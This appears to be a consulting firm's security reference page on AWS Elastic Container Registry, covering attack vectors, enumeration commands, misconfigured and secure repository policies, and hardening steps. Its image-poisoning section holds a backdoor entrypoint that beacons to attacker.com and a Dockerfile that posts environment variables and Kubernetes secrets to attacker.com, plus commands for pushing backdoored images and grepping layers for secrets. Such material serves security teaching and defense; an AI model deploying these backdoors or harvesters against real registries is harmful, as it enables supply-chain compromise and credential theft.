Free AWS Security Whitepaper
    Toc Consulting Logo
    AWS ECR Security Card
    Download PDF
    Back to Security Cards
    AWS ecr

    AWS ECR Security

    CONTAINER

    Elastic Container Registry stores Docker container images used by ECS, EKS, and Lambda. Attackers exploit repository policies, image pull access, and push permissions for supply chain attacks, credential theft, and persistent backdoors.

    CRITICAL
    Supply Chain Risk
    Images
    Poisoning Target
    Secrets
    In Image Layers
    RCE
    Via Deployed Images

    πŸ“‹Service Overview

    Repositories & Images

    ECR stores Docker and OCI container images in private or public repositories. Each repository has its own resource policy controlling push/pull access. Images are identified by tags or SHA256 digests β€” mutable tags allow image replacement attacks if not protected by tag immutability.

    Image Scanning & Signing

    ECR offers basic scanning (Clair-based) and enhanced scanning (Amazon Inspector) for CVE detection. Image signing via AWS Signer or Notation validates image provenance. Without signing verification, any image pushed to a repository can be deployed to production.

    Lifecycle & Replication

    Lifecycle policies automatically clean up old images, but misconfigured rules can delete production images. Cross-region and cross-account replication distributes images for availability β€” each replica inherits the destination repository's access policy, not the source's.

    Security Risk Assessment

    LowMediumHighCritical
    8.5
    Risk Score

    ECR is a critical supply chain component. Compromised images get deployed to production via ECS/EKS. Image layers may contain hardcoded secrets. Cross-account pull permissions can expose images to attackers.

    βš”οΈ Attack Vectors

    Image Exploitation

    • β€’Push malicious image (same tag)
    • β€’Overwrite :latest tag
    • β€’Cross-account image pull
    • β€’Layer history secrets extraction
    • β€’Dockerfile command injection

    ⚠️ Misconfigurations

    Common Issues

    • β€’Public repository access
    • β€’ecr:* permissions
    • β€’No image scanning enabled
    • β€’Missing image immutability
    • β€’Cross-account pull allowed

    πŸ’€ Exploitation

    Techniques

    • β€’Replace trusted image with backdoor
    • β€’Extract secrets from layers
    • β€’Inject cryptominer in base image
    • β€’Add reverse shell to entrypoint
    • β€’Modify application binaries

    🎯 High-Value Targets

    Repositories

    • β€’Base images (node, python, java)
    • β€’Production app images
    • β€’Lambda container images
    • β€’Internal tooling images
    • β€’CI/CD build images

    πŸ”‘ Secrets in Images

    Common Locations

    • β€’Environment variables in layers
    • β€’Config files (application.yml)
    • β€’SSH keys in .ssh directories
    • β€’AWS credentials in .aws/
    • β€’Build-time ARG secrets

    πŸ›‘οΈ Detection

    CloudTrail Events

    • β€’PutImage (image push)
    • β€’BatchGetImage (pull)
    • β€’GetDownloadUrlForLayer
    • β€’SetRepositoryPolicy
    • β€’DeleteRepository

    πŸ”— Supply Chain Attack Flow

    πŸ”“

    Access

    Get ECR push perms

    πŸ“₯

    Pull

    Download target image

    πŸ’‰

    Modify

    Inject backdoor

    πŸ“€

    Push

    Replace with same tag

    πŸš€

    Deploy

    ECS/EKS pulls poison

    πŸ“¦ Container Image Attack Surface

    Base Image

    Foundation layer - widespread impact

    • β€’ FROM instruction
    • β€’ OS vulnerabilities
    • β€’ Inherited secrets

    Application Layers

    COPY/ADD commands

    • β€’ Application code
    • β€’ Config files
    • β€’ Embedded creds

    Environment

    ENV and ARG values

    • β€’ Build-time secrets
    • β€’ Runtime config
    • β€’ API keys/tokens

    Entrypoint/CMD

    Startup execution

    • β€’ Backdoor injection
    • β€’ Startup scripts
    • β€’ Reverse shells

    πŸ” Enumeration Commands

    List Repositories
    aws ecr describe-repositories
    List Images in Repository
    aws ecr list-images --repository-name my-app
    Describe Image (Manifest)
    aws ecr batch-get-image --repository-name my-app --image-ids imageTag=latest
    Get Repository Policy
    aws ecr get-repository-policy --repository-name my-app
    Get Image Scan Findings
    aws ecr describe-image-scan-findings --repository-name my-app --image-id imageTag=latest
    Get Login Token
    aws ecr get-login-password | docker login --username AWS --password-stdin 123456789012.dkr.ecr.us-east-1.amazonaws.com
    Pull Image
    docker pull 123456789012.dkr.ecr.us-east-1.amazonaws.com/my-app:latest
    Push Backdoored Image
    docker push 123456789012.dkr.ecr.us-east-1.amazonaws.com/my-app:latest
    View Image History
    docker history --no-trunc 123456789012.dkr.ecr.us-east-1.amazonaws.com/my-app:latest
    Extract Secrets from Layers
    docker save my-app:latest | tar -xvf - && grep -r 'password\\|secret\\|key' */layer.tar

    πŸ’‰ Image Poisoning Techniques

    Backdoor Entrypoint

    # Pull the target image
docker pull 123456.dkr.ecr.region.amazonaws.com/app:latest

# Create backdoored Dockerfile
FROM 123456.dkr.ecr.region.amazonaws.com/app:latest
COPY backdoor.sh /backdoor.sh
ENTRYPOINT ["/backdoor.sh"]

# backdoor.sh
#!/bin/bash
curl https://attacker.com/beacon &
exec /original-entrypoint.sh "$@"

# Push with same tag
docker build -t 123456.dkr.ecr.region.amazonaws.com/app:latest .
docker push 123456.dkr.ecr.region.amazonaws.com/app:latest

    Credential Harvester

    # Inject credential harvesting
FROM target-image:latest

# Add credential exfil on startup
RUN echo '#!/bin/bash' > /harvest.sh && \
    echo 'env | curl -X POST -d @- https://attacker.com/creds &' >> /harvest.sh && \
    echo 'cat /var/run/secrets/*/* | curl -X POST -d @- https://attacker.com/k8s &' >> /harvest.sh && \
    echo 'exec "$@"' >> /harvest.sh && \
    chmod +x /harvest.sh

ENTRYPOINT ["/harvest.sh"]
CMD ["/original-cmd"]

    πŸ”‘ Extracting Secrets from Image Layers

    Docker images contain layer history. Secrets added and later deleted are still present in intermediate layers:

    # Save image to tar
docker save my-app:latest -o image.tar

# Extract layers
mkdir layers && tar -xf image.tar -C layers

# Search for secrets in all layers
for layer in layers/*/layer.tar; do
  echo "=== $layer ==="
  tar -tf "$layer" | grep -E '.env|.aws|.ssh|credentials'
  tar -xf "$layer" -O 2>/dev/null | strings | grep -iE 'password|secret|api.?key|token'
done

# Or use dive for interactive analysis
dive 123456.dkr.ecr.region.amazonaws.com/app:latest

    Common Secret Locations

    /app/.env

    Application environment files

    /root/.aws/credentials

    AWS credentials baked in

    /root/.ssh/

    SSH private keys

    /app/config/*.yml

    Database credentials, API keys

    Build-time ARGs

    Visible in docker history

    πŸ“œ Policy Examples

    βœ—Dangerous - Public Repository
    {
  "Version": "2012-10-17",
  "Statement": [{
    "Sid": "PublicAccess",
    "Effect": "Allow",
    "Principal": "*",
    "Action": [
      "ecr:GetDownloadUrlForLayer",
      "ecr:BatchGetImage"
    ]
  }]
}

    Anyone can pull images - exposes application code and potentially secrets

    βœ“Secure - Restricted Pull Access
    {
  "Version": "2012-10-17",
  "Statement": [{
    "Sid": "AllowProdECS",
    "Effect": "Allow",
    "Principal": {
      "Service": "ecs-tasks.amazonaws.com"
    },
    "Action": [
      "ecr:GetDownloadUrlForLayer",
      "ecr:BatchGetImage"
    ],
    "Condition": {
      "StringEquals": {
        "aws:SourceAccount": "123456789012"
      }
    }
  }]
}

    Only ECS tasks in the same account can pull images

    βœ—Dangerous - Cross-Account Push
    {
  "Statement": [{
    "Effect": "Allow",
    "Principal": {
      "AWS": "arn:aws:iam::*:root"
    },
    "Action": [
      "ecr:PutImage",
      "ecr:InitiateLayerUpload"
    ]
  }]
}

    Any AWS account can push images - enables supply chain attacks

    βœ“Secure - CI/CD Only Push
    {
  "Statement": [{
    "Effect": "Allow",
    "Principal": {
      "AWS": "arn:aws:iam::123456789012:role/CodeBuildRole"
    },
    "Action": [
      "ecr:PutImage",
      "ecr:InitiateLayerUpload",
      "ecr:UploadLayerPart",
      "ecr:CompleteLayerUpload"
    ]
  }]
}

    Only the designated CI/CD role can push new images

    🎯 Real-World Attack Scenarios

    Image Tag Overwrite Attack

    1. Attacker gains ecr:PutImage permission
    2. Pull the current production image
    3. Add cryptominer or backdoor
    4. Push with same tag (e.g., :latest)
    5. Next deployment pulls poisoned image

    Secret Extraction from Layers

    1. Gain ecr:BatchGetImage permission
    2. Pull target application image
    3. Extract and inspect all layers
    4. Find AWS keys, DB passwords in history
    5. Use credentials to pivot further

    Base Image Compromise

    1. Identify shared base image repository
    2. Push malicious version of base image
    3. All apps using FROM base-image inherit backdoor
    4. Next builds create compromised apps
    5. Lateral movement across all services

    Cross-Account Image Theft

    1. Find repo with cross-account pull policy
    2. Pull images from victim account
    3. Reverse engineer application code
    4. Extract hardcoded credentials
    5. Discover vulnerabilities to exploit

    πŸ›‘οΈ Defense Recommendations

    πŸ”’

    Enable Image Tag Immutability

    Prevent tag overwrites to protect against image replacement attacks.

    aws ecr put-image-tag-mutability --repository-name my-app --image-tag-mutability IMMUTABLE
    πŸ”

    Enable Image Scanning

    Scan images on push for known vulnerabilities.

    aws ecr put-image-scanning-configuration --repository-name my-app --image-scanning-configuration scanOnPush=true
    🚫

    Restrict Push Permissions

    Only allow CI/CD roles to push images. Deny manual pushes.

    πŸ“

    Use Image Digest References

    Reference images by digest (@sha256:...) instead of mutable tags.

    image: 123456.dkr.ecr.region.amazonaws.com/app@sha256:abc123...
    πŸ”

    Sign Images with Notation/Cosign

    Cryptographically sign images and verify signatures before deployment.

    πŸ“‹

    Monitor ECR API Calls

    Alert on PutImage, SetRepositoryPolicy, and DeleteRepository events.

    Related Services to Investigate

    🐳

    ECS

    Container orchestration

    ☸️

    EKS

    Kubernetes

    πŸ”¨

    CodeBuild

    Image builds

    Ξ»

    Lambda

    Container images

    AWS ECR Security Card β€’ Toc Consulting

    Always obtain proper authorization before testing